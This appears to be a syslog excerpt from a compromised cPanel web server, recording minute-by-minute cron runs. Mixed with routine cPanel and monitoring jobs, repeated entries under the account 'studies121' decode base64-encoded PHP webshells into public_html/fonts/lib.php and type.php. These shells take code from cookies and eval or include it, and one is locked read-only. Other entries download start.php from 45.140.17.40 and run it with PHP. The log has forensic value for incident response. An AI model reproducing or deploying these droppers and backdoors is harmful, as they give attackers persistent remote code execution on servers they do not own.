Sep 12 03:05:01 ip-184-168-122-23 CROND[14853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:05:01 ip-184-168-122-23 CROND[14855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:05:01 ip-184-168-122-23 CROND[14863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:05:01 ip-184-168-122-23 CROND[14861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:05:01 ip-184-168-122-23 CROND[14862]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 03:05:01 ip-184-168-122-23 CROND[14864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:06:01 ip-184-168-122-23 CROND[14972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:06:01 ip-184-168-122-23 CROND[14973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:06:01 ip-184-168-122-23 CROND[14974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:06:01 ip-184-168-122-23 CROND[14971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:06:01 ip-184-168-122-23 CROND[14975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:07:01 ip-184-168-122-23 CROND[15075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:07:01 ip-184-168-122-23 CROND[15076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:07:01 ip-184-168-122-23 CROND[15078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:07:01 ip-184-168-122-23 CROND[15080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:08:01 ip-184-168-122-23 CROND[15232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:08:01 ip-184-168-122-23 CROND[15233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:08:01 ip-184-168-122-23 CROND[15235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:08:01 ip-184-168-122-23 CROND[15237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:08:01 ip-184-168-122-23 CROND[15236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:09:01 ip-184-168-122-23 CROND[15320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:09:01 ip-184-168-122-23 CROND[15322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:09:01 ip-184-168-122-23 CROND[15323]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 03:09:01 ip-184-168-122-23 CROND[15325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:09:01 ip-184-168-122-23 CROND[15326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:10:01 ip-184-168-122-23 CROND[15415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:10:01 ip-184-168-122-23 CROND[15416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:10:01 ip-184-168-122-23 CROND[15418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:10:01 ip-184-168-122-23 CROND[15422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:10:01 ip-184-168-122-23 CROND[15426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:10:01 ip-184-168-122-23 CROND[15425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:10:01 ip-184-168-122-23 CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:10:01 ip-184-168-122-23 CROND[15428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:11:01 ip-184-168-122-23 CROND[15551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:11:01 ip-184-168-122-23 CROND[15553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:11:01 ip-184-168-122-23 CROND[15555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:11:01 ip-184-168-122-23 CROND[15556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:12:01 ip-184-168-122-23 CROND[15648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:12:02 ip-184-168-122-23 CROND[15650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:12:02 ip-184-168-122-23 CROND[15649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:12:02 ip-184-168-122-23 CROND[15653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:12:02 ip-184-168-122-23 CROND[15654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:13:01 ip-184-168-122-23 CROND[15834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:13:01 ip-184-168-122-23 CROND[15835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:13:01 ip-184-168-122-23 CROND[15836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:13:01 ip-184-168-122-23 CROND[15837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:14:01 ip-184-168-122-23 CROND[15927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:14:01 ip-184-168-122-23 CROND[15931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:14:01 ip-184-168-122-23 CROND[15929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:14:01 ip-184-168-122-23 CROND[15930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:14:01 ip-184-168-122-23 CROND[15928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:15:01 ip-184-168-122-23 CROND[16018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:15:01 ip-184-168-122-23 CROND[16020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:15:01 ip-184-168-122-23 CROND[16019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:15:01 ip-184-168-122-23 CROND[16022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:15:01 ip-184-168-122-23 CROND[16021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:15:01 ip-184-168-122-23 CROND[16023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:16:01 ip-184-168-122-23 CROND[16126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:16:01 ip-184-168-122-23 CROND[16123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:16:01 ip-184-168-122-23 CROND[16124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:16:01 ip-184-168-122-23 CROND[16127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:16:01 ip-184-168-122-23 CROND[16128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:16:01 ip-184-168-122-23 CROND[16125]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 03:17:01 ip-184-168-122-23 CROND[16221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
